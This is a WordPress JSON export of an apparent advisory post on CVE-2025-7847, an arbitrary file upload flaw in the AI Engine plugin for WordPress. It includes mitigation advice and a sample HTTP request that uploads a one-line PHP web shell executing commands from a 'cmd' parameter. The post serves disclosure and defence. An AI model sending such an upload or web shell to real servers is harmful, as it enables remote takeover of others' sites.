{"id":59922,"date":"2025-08-06T15:10:02","date_gmt":"2025-08-06T15:10:02","guid":{"rendered":""},"modified":"2025-11-02T15:08:02","modified_gmt":"2025-11-02T21:08:02","slug":"cve-2025-7847-arbitrary-file-upload-vulnerability-in-ai-engine-plugin-for-wordpress","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-7847-arbitrary-file-upload-vulnerability-in-ai-engine-plugin-for-wordpress\/","title":{"rendered":"<strong>CVE-2025-7847: Arbitrary File Upload Vulnerability in AI Engine Plugin for WordPress<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>Vulnerability CVE-2025-7847 is a critical security issue that affects the AI Engine plugin for WordPress, specifically versions 2.9.3 and 2.9.4. This vulnerability allows authenticated attackers with Subscriber-level access and above to upload arbitrary files to a server when the REST API is enabled. This flaw could potentially lead to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-26074-remote-code-execution-vulnerability-in-orkes-conductor-v3-21-11\/\"  data-wpil-monitor-id=\"66042\">remote code execution<\/a>, compromising the system and potentially leading to data leakage.<br \/>\nThis vulnerability is a severe issue that affects <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7401-critical-file-read-write-vulnerability-in-premium-age-verification-restriction-for-wordpress-plugin\/\"  data-wpil-monitor-id=\"66511\">WordPress<\/a> sites using the vulnerable versions of the AI Engine plugin. The potential for <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52808-a-critical-php-remote-file-inclusion-vulnerability-in-realtyelite\/\"  data-wpil-monitor-id=\"65910\">remote code execution means this vulnerability<\/a> could be used to take control of a server, making it a high-priority issue for site administrators and cybersecurity professionals.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-7847<br \/>\nSeverity: High (8.8)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low (<a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3498-unauthenticated-user-access-and-modification-of-radiflow-isap-smart-collector-configuration\/\"  data-wpil-monitor-id=\"92259\">User level access<\/a>)<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-21432-memory-corruption-vulnerability-resulting-in-potential-system-compromise-or-data-leakage\/\"  data-wpil-monitor-id=\"77672\">System compromise or data<\/a> leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-3060476021\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>AI Engine <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5835-droip-plugin-for-wordpress-unauthorized-access-and-modification-vulnerability\/\"  data-wpil-monitor-id=\"68963\">Plugin for WordPress<\/a> | 2.9.3, 2.9.4<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The vulnerability resides in the rest_simpleFileUpload() function, which is missing <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-40737-critical-file-path-validation-vulnerability-in-sinec-nms\/\"  data-wpil-monitor-id=\"66621\">file type validation<\/a>. When the REST API is enabled, an authenticated user with subscriber-level access can exploit this flaw to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7340-critical-arbitrary-file-upload-vulnerability-in-ht-contact-form-widget-for-wordpress\/\"  data-wpil-monitor-id=\"66333\">upload arbitrary files<\/a> to the server. Without proper file type validation, an attacker can upload executables or scripts, which could then be executed remotely, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7793-critical-vulnerability-in-tenda-fh451-leading-to-system-compromise\/\"  data-wpil-monitor-id=\"68964\">leading to a potential system<\/a> compromise.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-1131880231\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>An attacker might exploit this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-36845-server-side-request-forgery-ssrf-vulnerability-in-eveo-urve-web-manager\/\"  data-wpil-monitor-id=\"70662\">vulnerability using the following conceptual HTTP request<\/a>:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/wp-json\/ai-engine\/v1\/upload HTTP\/1.1\nHost: vulnerable-wordpress-site.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\nAuthorization: Bearer {user_token}\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;malicious.php&quot;\nContent-Type: application\/x-php\n&lt;?php system($_GET[&#039;cmd&#039;]); ?&gt;\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n<p>In this example, the attacker is uploading a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49416-critical-php-remote-file-inclusion-vulnerability-in-fastw3b-llc-fw-gallery\/\"  data-wpil-monitor-id=\"66041\">PHP file<\/a> named &#8220;malicious.php&#8221;, which can execute system commands passed via the &#8216;cmd&#8217; GET parameter. Once uploaded, the attacker can trigger the malicious code by simply accessing the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6058-critical-arbitrary-file-upload-vulnerability-in-wpbookit-wordpress-plugin\/\"  data-wpil-monitor-id=\"66468\">uploaded file<\/a> via a web browser, leading to remote code execution.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>To mitigate the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-25178-critical-luajit-vulnerability-puts-systems-at-risk-of-compromise\/\"  data-wpil-monitor-id=\"70663\">risk of this vulnerability<\/a>, users are advised to apply the vendor patch as soon as it becomes available. If the vendor patch is not yet released, temporary mitigation steps include using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to monitor and block suspicious activities. Furthermore, disabling the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3499-unauthenticated-rest-apis-expose-system-to-os-command-injection-attacks\/\"  data-wpil-monitor-id=\"77671\">REST API<\/a> if it&#8217;s not in use can also prevent exploitation of this vulnerability.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview Vulnerability CVE-2025-7847 is a critical security issue that affects the AI Engine plugin for WordPress, specifically versions 2.9.3 and 2.9.4. This vulnerability allows authenticated attackers with Subscriber-level access and above to upload arbitrary files to a server when the REST API is enabled. This flaw could potentially lead to remote code execution, compromising the [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[80],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-59922","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-rce"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/59922","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=59922"}],"version-history":[{"count":10,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/59922\/revisions"}],"predecessor-version":[{"id":85475,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/59922\/revisions\/85475"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=59922"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=59922"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=59922"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=59922"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=59922"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=59922"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=59922"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=59922"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=59922"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}